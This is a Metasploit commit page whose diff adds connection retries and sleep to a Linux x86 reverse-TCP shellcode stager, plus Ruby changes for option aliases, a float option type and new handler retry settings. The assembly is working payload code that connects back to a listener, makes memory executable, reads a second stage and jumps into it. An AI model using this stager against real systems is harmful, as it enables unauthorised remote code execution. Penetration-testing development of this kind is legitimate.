Skip to content

Commit 0ac1908

Browse files
author
Brent Cook
committed
Land rapid7#8720, add resiliency (retries + sleep) to linux x86 stagers
2 parents f71ca92 + 4ca68a1 commit 0ac1908

File tree

16 files changed

+209
-79
lines changed

16 files changed

+209
-79
lines changed

external/source/shellcode/linux/ia32/stager_sock_reverse.asm

Lines changed: 37 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,9 @@
11
;;
2-
;
2+
;
33
; Name: stager_sock_reverse
44
; Qualities: Can Have Nulls
55
; Version: $Revision: 1512 $
6-
; License:
6+
; License:
77
;
88
; This file is part of the Metasploit Exploit Framework
99
; and is subject to the same licenses and copyrights as
@@ -33,11 +33,13 @@ BITS 32
3333
GLOBAL _start
3434

3535
_start:
36+
push 0x5 ; retry counter
37+
pop esi
38+
39+
create_socket:
3640
xor ebx, ebx
3741
mul ebx
38-
39-
; int socket(int domain, int type, int protocol);
40-
socket:
42+
; int socket(int domain, int type, int protocol);
4143
push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp
4244
inc ebx ; 1 = SYS_SOCKET
4345
push ebx ; type = 1 = SOCK_STREAM
@@ -47,13 +49,15 @@ socket:
4749
int 0x80
4850
xchg eax, edi
4951

50-
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
51-
connect:
52-
pop ebx
52+
set_address:
53+
pop ebx ; set ebx back to zero
5354
push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
5455
push 0xbfbf0002 ; addr->sin_port = 49087
5556
; addr->sin_family = 2 = AF_INET
5657
mov ecx, esp ; ecx = addr
58+
59+
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
60+
try_connect:
5761
push byte 0x66 ; __NR_socketcall
5862
pop eax
5963
push eax ; addrlen
@@ -62,6 +66,22 @@ connect:
6266
mov ecx, esp ; socketcall args
6367
inc ebx ; 3 = SYS_CONNECT
6468
int 0x80
69+
test eax, eax
70+
jns mprotect
71+
72+
handle_failure:
73+
push 0xa2
74+
pop eax
75+
push 0x0 ; sleep_nanoseconds
76+
push 0x5 ; sleep_seconds
77+
mov ebx, esp
78+
xor ecx, ecx
79+
int 0x80 ; sys_nanosleep
80+
test eax, eax
81+
js failed
82+
dec esi
83+
jnz create_socket
84+
jmp failed
6585

6686
%ifndef USE_SINGLE_STAGE
6787

@@ -74,6 +94,8 @@ mprotect:
7494
shl ebx, 12
7595
mov al, 0x7d ; __NR_mprotect
7696
int 0x80
97+
test eax, eax
98+
js failed
7799

78100
; ssize_t read(int fd, void *buf, size_t count);
79101
recv:
@@ -83,6 +105,13 @@ recv:
83105
mov dh, 0xc ; count = 0xc00
84106
mov al, 0x3 ; __NR_read
85107
int 0x80
108+
test eax, eax
109+
js failed
86110
jmp ecx
87111

112+
failed:
113+
mov eax, 0x1
114+
mov ebx, 0x1 ; set exit status to 1
115+
int 0x80 ; sys_exit
116+
88117
%endif

lib/msf/core/data_store.rb

Lines changed: 18 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -14,10 +14,13 @@ class DataStore < Hash
1414
#
1515
def initialize()
1616
@options = Hash.new
17+
@aliases = Hash.new
1718
@imported = Hash.new
1819
@imported_by = Hash.new
1920
end
2021

22+
attr_accessor :aliases
23+
2124
#
2225
# Clears the imported flag for the supplied key since it's being set
2326
# directly.
@@ -133,11 +136,16 @@ def import_options_from_hash(option_hash, imported = true, imported_by = nil)
133136
}
134137
end
135138

136-
def import_option(key, val, imported=true, imported_by=nil, option=nil)
139+
def import_option(key, val, imported = true, imported_by = nil, option = nil)
137140
self.store(key, val)
138141

142+
if option
143+
option.aliases.each do |a|
144+
@aliases[a.downcase] = key.downcase
145+
end
146+
end
139147
@options[key] = option
140-
@imported[key] = imported
148+
@imported[key] = imported
141149
@imported_by[key] = imported_by
142150
end
143151

@@ -245,9 +253,15 @@ def each(&block)
245253
#
246254
def find_key_case(k)
247255

256+
# Scan each alias looking for a key
257+
search_k = k.downcase
258+
if @aliases.has_key?(search_k)
259+
search_k = @aliases[search_k]
260+
end
261+
248262
# Scan each key looking for a match
249263
self.each_key do |rk|
250-
if (rk.downcase == k.downcase)
264+
if rk.downcase == search_k
251265
return rk
252266
end
253267
end
@@ -317,6 +331,7 @@ def copy
317331
self.keys.each do |k|
318332
clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k])
319333
end
334+
clone.aliases = self.aliases
320335
clone
321336
end
322337
end

lib/msf/core/handler/reverse_tcp.rb

Lines changed: 28 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -45,10 +45,26 @@ def initialize(info = {})
4545
# XXX: Not supported by all modules
4646
register_advanced_options(
4747
[
48-
OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]),
49-
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
50-
OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false])
51-
], Msf::Handler::ReverseTcp)
48+
OptInt.new(
49+
'StagerRetryCount',
50+
[ true, 'The number of connection attempts to try before exiting the process', 10 ],
51+
aliases: ['ReverseConnectRetries']
52+
),
53+
OptFloat.new(
54+
'StagerRetryWait',
55+
[ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ]
56+
),
57+
OptAddress.new(
58+
'ReverseListenerBindAddress',
59+
[ false, 'The specific IP address to bind to on the local system' ]
60+
),
61+
OptBool.new(
62+
'ReverseListenerThreaded',
63+
[ true, 'Handle every connection in a new thread (experimental)', false ]
64+
)
65+
],
66+
Msf::Handler::ReverseTcp
67+
)
5268

5369
self.conn_threads = []
5470
end
@@ -88,13 +104,12 @@ def payload_uri
88104
#
89105
# @param addr [String] the address that
90106
# @return [String] A URI of the form +scheme://host:port/+
91-
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
107+
def listener_uri(addr = datastore['ReverseListenerBindAddress'])
92108
addr = datastore['LHOST'] if addr.nil? || addr.empty?
93109
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
94110
"tcp://#{uri_host}:#{bind_port}"
95111
end
96112

97-
98113
#
99114
# Starts monitoring for an inbound connection.
100115
#
@@ -118,8 +133,8 @@ def start_handler
118133
rescue StandardError => e
119134
wlog [
120135
"#{handler_name}: Exception raised during listener accept: #{e.class}",
121-
"#{$ERROR_INFO}",
122-
"#{$ERROR_POSITION.join("\n")}"
136+
$ERROR_INFO.to_s,
137+
$ERROR_POSITION.join("\n")
123138
].join("\n")
124139
end
125140
end
@@ -216,13 +231,11 @@ def stop_handler
216231
# Terminate the handler thread
217232
handler_thread.kill if handler_thread && handler_thread.alive? == true
218233

219-
if listener_sock
220-
begin
221-
listener_sock.close
222-
rescue IOError
223-
# Ignore if it's listening on a dead session
224-
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
225-
end
234+
begin
235+
listener_sock.close if listener_sock
236+
rescue IOError
237+
# Ignore if it's listening on a dead session
238+
dlog("IOError closing listener sock; listening on dead session?", LEV_1)
226239
end
227240
end
228241

lib/msf/core/opt_base.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ class OptBase
2222
# attrs[3] = possible enum values
2323
# attrs[4] = Regex to validate the option
2424
#
25-
def initialize(in_name, attrs = [])
25+
def initialize(in_name, attrs = [], aliases: [])
2626
self.name = in_name
2727
self.advanced = false
2828
self.evasion = false
@@ -45,6 +45,7 @@ def initialize(in_name, attrs = [])
4545
raise("Invalid Regex #{regex_temp}: #{e}")
4646
end
4747
end
48+
self.aliases = aliases
4849
end
4950

5051
#
@@ -159,6 +160,10 @@ def display_value(value)
159160
# A optional regex to validate the option value
160161
#
161162
attr_accessor :regex
163+
#
164+
# Aliases for this option for backward compatibility
165+
#
166+
attr_accessor :aliases
162167

163168
protected
164169

lib/msf/core/opt_float.rb

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf
4+
###
5+
#
6+
# Float option.
7+
#
8+
###
9+
class OptFloat < OptBase
10+
def type
11+
'float'
12+
end
13+
14+
def normalize(value)
15+
Float(value) if value.present? && valid?(value)
16+
end
17+
18+
def valid?(value, check_empty: true)
19+
return false if check_empty && empty_required_value?(value)
20+
Float(value) rescue return false if value.present?
21+
super
22+
end
23+
end
24+
end

lib/msf/core/opt_int.rb

Lines changed: 19 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -1,36 +1,28 @@
11
# -*- coding: binary -*-
22

33
module Msf
4-
5-
###
6-
#
7-
# Integer option.
8-
#
9-
###
10-
class OptInt < OptBase
11-
def type
12-
return 'integer'
13-
end
14-
15-
def normalize(value)
16-
if value.to_s.match(/^0x[a-fA-F\d]+$/)
17-
value.to_i(16)
18-
elsif value.present?
19-
value.to_i
20-
else
21-
nil
4+
###
5+
#
6+
# Integer option.
7+
#
8+
###
9+
class OptInt < OptBase
10+
def type
11+
'integer'
2212
end
23-
end
2413

25-
def valid?(value, check_empty: true)
26-
return false if check_empty && empty_required_value?(value)
27-
28-
if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/)
29-
return false
14+
def normalize(value)
15+
if value.to_s.match?(/^0x[a-fA-F\d]+$/)
16+
value.to_i(16)
17+
elsif value.present?
18+
value.to_i
19+
end
3020
end
3121

32-
return super
22+
def valid?(value, check_empty: true)
23+
return false if check_empty && empty_required_value?(value)
24+
return false if value.present? && !value.to_s.match?(/^0x[0-9a-fA-F]+$|^-?\d+$/)
25+
super
26+
end
3327
end
3428
end
35-
36-
end

lib/msf/core/option_container.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ module Msf
1212
autoload :OptBool, 'msf/core/opt_bool'
1313
autoload :OptEnum, 'msf/core/opt_enum'
1414
autoload :OptInt, 'msf/core/opt_int'
15+
autoload :OptFloat, 'msf/core/opt_float'
1516
autoload :OptPath, 'msf/core/opt_path'
1617
autoload :OptPort, 'msf/core/opt_port'
1718
autoload :OptRaw, 'msf/core/opt_raw'
@@ -35,6 +36,7 @@ module Msf
3536
# * {OptAddress} - IP address or hostname
3637
# * {OptPath} - Path name on disk or an Object ID
3738
# * {OptInt} - An integer value
39+
# * {OptFloat} - A float value
3840
# * {OptEnum} - Select from a set of valid values
3941
# * {OptAddressRange} - A subnet or range of addresses
4042
# * {OptRegexp} - Valid Ruby regular expression

0 commit comments

Comments
 (0)